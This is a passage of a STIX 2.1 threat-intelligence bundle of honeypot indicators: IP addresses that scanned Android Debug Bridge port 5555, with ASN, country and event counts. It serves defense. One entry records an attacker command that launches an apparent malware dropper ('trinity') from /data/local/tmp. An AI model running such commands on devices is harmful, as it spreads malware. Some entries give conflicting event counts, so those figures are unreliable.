            "Contabo GmbH"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-24T05:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=6; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=6 | first_seen=2026-05-24T04:10:16.000Z | last_seen=2026-05-24T04:11:19.014Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--64590010-a3cd-4e6d-8d1c-2a9a5c67b1e5",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '68.183.48.162']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T05:00:03.000Z",
      "valid_until": "2026-06-25T05:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 6,
          "first_seen": "2026-05-24T04:10:16.000Z",
          "last_seen": "2026-05-24T04:11:19.014Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-24T09:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=398324; asn_org=Censys, Inc.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=5 | first_seen=2026-05-24T08:43:54.000Z | last_seen=2026-05-24T08:45:33.332Z | ports=5555 | cc=US | asn=398324 | org=Censys, Inc.",
      "id": "indicator--eaf580dc-57cc-404b-b454-e70da311912b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '66.132.195.152']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T09:00:03.000Z",
      "valid_until": "2026-06-25T09:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 5,
          "first_seen": "2026-05-24T08:43:54.000Z",
          "last_seen": "2026-05-24T08:45:33.332Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "398324"
          ],
          "org": [
            "Censys, Inc."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-24T10:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=35; ports=5555; cc=MD; asn=200019; asn_org=Alexhost Srl; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=35 | first_seen=2026-05-24T09:10:56.000Z | last_seen=2026-05-24T09:22:50.742Z | ports=5555 | cc=MD | asn=200019 | org=Alexhost Srl",
      "id": "indicator--4d37820e-9dbf-4604-b11e-1ef4ade10ffb",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '213.232.235.199']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T10:00:02.000Z",
      "valid_until": "2026-06-25T10:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 35,
          "first_seen": "2026-05-24T09:10:56.000Z",
          "last_seen": "2026-05-24T09:22:50.742Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "MD"
          ],
          "asn": [
            "200019"
          ],
          "org": [
            "Alexhost Srl"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-24T11:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=57; ports=5555; cc=CN; asn=4837; asn_org=CHINA UNICOM China169 Backbone; adb_cmd_hits=0; cmd=\"/data/local/tmp/nohup /data/local/tmp/trinity\"\n\nObserved in ADBHoney telemetry for 2026-05. events=57 | first_seen=2026-05-24T10:07:45.000Z | last_seen=2026-05-24T10:21:17.196Z | ports=5555 | cc=CN | asn=4837 | org=CHINA UNICOM China169 Backbone | related_hashes=0d3c687ffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257,76ae6d577ba96b1c3a1de8b21c32a9faf6040f7e78d98269e0469d896c29dc64,a1b6223a3ecb37b9f7e4a52909a08d9fd8f8f80aee46466127ea0f078c7f5437,d7188b8c575367e10ea8b36ec7cca067ef6ce6d26ffa8c74b3faa0b14ebb8ff0",
      "id": "indicator--40d7713c-d341-427d-8ae0-ab6b971f2f6d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot",
        "dropper",
        "malware-distribution"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '222.138.108.98']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T11:00:04.000Z",
      "valid_until": "2026-06-25T11:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 57,
          "first_seen": "2026-05-24T10:07:45.000Z",
          "last_seen": "2026-05-24T10:21:17.196Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "4837"
          ],
          "org": [
            "CHINA UNICOM China169 Backbone"
          ],
          "related_hashes": [
            "0d3c687ffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257",
            "76ae6d577ba96b1c3a1de8b21c32a9faf6040f7e78d98269e0469d896c29dc64",
            "a1b6223a3ecb37b9f7e4a52909a08d9fd8f8f80aee46466127ea0f078c7f5437",
            "d7188b8c575367e10ea8b36ec7cca067ef6ce6d26ffa8c74b3faa0b14ebb8ff0"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-24T13:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=8 | first_seen=2026-05-24T12:12:50.000Z | last_seen=2026-05-24T12:22:56.719Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--e2279554-6d61-4a3a-a615-90ead5d02040",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T13:00:02.000Z",
      "valid_until": "2026-06-25T13:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 8,
          "first_seen": "2026-05-24T12:12:50.000Z",
          "last_seen": "2026-05-24T12:22:56.719Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-24T13:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=5 | first_seen=2026-05-24T12:11:38.000Z | last_seen=2026-05-24T12:12:45.611Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--46c251fb-2f4c-44d7-96c4-5266f23bd3fb",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.79']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T13:00:02.000Z",
      "valid_until": "2026-06-25T13:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 5,
          "first_seen": "2026-05-24T12:11:38.000Z",
          "last_seen": "2026-05-24T12:12:45.611Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-24T14:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=25; ports=5555; cc=US; asn=8075; asn_org=Microsoft Corporation; cats=Detection of a Network Scan; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=25 | first_seen=2026-05-24T13:18:38.000Z | last_seen=2026-05-24T13:30:22.554Z | ports=5555 | cc=US | asn=8075 | org=Microsoft Corporation",
      "id": "indicator--980e6f4e-1d0f-4979-a603-bcc10d6e34cc",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '20.65.193.137']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T14:00:02.000Z",
      "valid_until": "2026-06-25T14:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 25,
          "first_seen": "2026-05-24T13:18:38.000Z",
          "last_seen": "2026-05-24T13:30:22.554Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "8075"
          ],
          "org": [
            "Microsoft Corporation"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-24T16:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=11; ports=5555; cc=CN; asn=4134; asn_org=Chinanet; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=11 | first_seen=2026-05-24T15:53:05.000Z | last_seen=2026-05-24T15:54:13.660Z | ports=5555 | cc=CN | asn=4134 | org=Chinanet",
      "id": "indicator--dc71981c-5f9a-4b48-affb-ec3a11f448d2",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '119.135.58.1']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T16:00:02.000Z",
      "valid_until": "2026-06-25T16:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 11,
          "first_seen": "2026-05-24T15:53:05.000Z",
          "last_seen": "2026-05-24T15:54:13.660Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "4134"
          ],
          "org": [
            "Chinanet"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-24T16:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=63949; asn_org=Akamai Connected Cloud; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=5 | first_seen=2026-05-24T15:57:53.000Z | last_seen=2026-05-24T15:58:55.306Z | ports=5555 | cc=US | asn=63949 | org=Akamai Connected Cloud",
      "id": "indicator--3fe76ee0-25fb-4ae1-8683-a3b2754dcafe",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '172.234.25.243']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T16:00:02.000Z",
      "valid_until": "2026-06-25T16:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 5,
          "first_seen": "2026-05-24T15:57:53.000Z",
          "last_seen": "2026-05-24T15:58:55.306Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "63949"
          ],
          "org": [
            "Akamai Connected Cloud"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-24T16:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=63949; asn_org=Akamai Connected Cloud; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=11 | first_seen=2026-05-24T15:58:22.000Z | last_seen=2026-05-29T15:57:34.280Z | ports=5555 | cc=US | asn=63949 | org=Akamai Connected Cloud",
      "id": "indicator--4175dee4-9c3d-44bf-94aa-99a98cca022e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '173.255.242.196']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T16:00:02.000Z",
      "valid_until": "2026-06-25T16:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 11,
          "first_seen": "2026-05-24T15:58:22.000Z",
          "last_seen": "2026-05-29T15:57:34.280Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "63949"
          ],
          "org": [
            "Akamai Connected Cloud"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-24T18:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=9 | first_seen=2026-05-24T17:29:25.000Z | last_seen=2026-05-24T22:52:36.768Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--21ea352a-8d2a-46a8-9e47-c965befafb15",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '67.205.183.150']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T18:00:03.000Z",
      "valid_until": "2026-06-25T18:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 9,
          "first_seen": "2026-05-24T17:29:25.000Z",
          "last_seen": "2026-05-24T22:52:36.768Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-24T19:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=US; asn=398324; asn_org=Censys, Inc.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=8 | first_seen=2026-05-24T18:35:09.000Z | last_seen=2026-05-24T18:36:33.506Z | ports=5555 | cc=US | asn=398324 | org=Censys, Inc.",
      "id": "indicator--ab8eb317-13f7-481a-8e8e-6e8cb98811ea",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '66.132.172.129']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T19:00:02.000Z",
      "valid_until": "2026-06-25T19:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 8,
          "first_seen": "2026-05-24T18:35:09.000Z",
          "last_seen": "2026-05-24T18:36:33.506Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "398324"
          ],
          "org": [
            "Censys, Inc."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-24T21:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=2; ports=5555; cc=US; asn=53667; asn_org=FranTech Solutions; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=9 | first_seen=2026-05-24T19:59:03.000Z | last_seen=2026-05-24T20:00:22.682Z | ports=5555 | cc=US | asn=53667 | org=FranTech Solutions",
      "id": "indicator--6556d5e4-f730-490d-b7c3-ac3f743ad296",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '205.185.127.191']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T21:00:02.000Z",
      "valid_until": "2026-06-25T21:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 9,
          "first_seen": "2026-05-24T19:59:03.000Z",
          "last_seen": "2026-05-24T20:00:22.682Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "53667"
          ],
          "org": [
            "FranTech Solutions"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-24T22:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=60223; asn_org=Netiface Limited; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=170 | first_seen=2026-05-24T21:50:51.000Z | last_seen=2026-05-25T19:32:10.020Z | ports=5555 | cc=US | asn=60223 | org=Netiface Limited",
      "id": "indicator--76b68233-3252-4e21-baa0-775518911242",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.132.164.27']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T22:00:02.000Z",
      "valid_until": "2026-06-25T22:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 170,
          "first_seen": "2026-05-24T21:50:51.000Z",
          "last_seen": "2026-05-25T19:32:10.020Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "60223"
          ],
          "org": [
            "Netiface Limited"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-25T00:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=5 | first_seen=2026-05-24T23:45:06.000Z | last_seen=2026-05-24T23:46:13.578Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--f76aa438-3b06-47dd-a082-d2675d7e4577",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '134.122.21.77']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T00:00:02.000Z",
      "valid_until": "2026-06-26T00:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 5,
          "first_seen": "2026-05-24T23:45:06.000Z",
          "last_seen": "2026-05-24T23:46:13.578Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-25T00:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=9; ports=5555; cc=FR; asn=209334; asn_org=Modat B.V.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=9 | first_seen=2026-05-24T23:27:13.000Z | last_seen=2026-05-24T23:37:16.097Z | ports=5555 | cc=FR | asn=209334 | org=Modat B.V.",
      "id": "indicator--30975d7c-e9cd-41a5-8366-1728c1b602ae",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '85.217.140.16']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T00:00:02.000Z",
      "valid_until": "2026-06-26T00:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 9,
          "first_seen": "2026-05-24T23:27:13.000Z",
          "last_seen": "2026-05-24T23:37:16.097Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "FR"
          ],
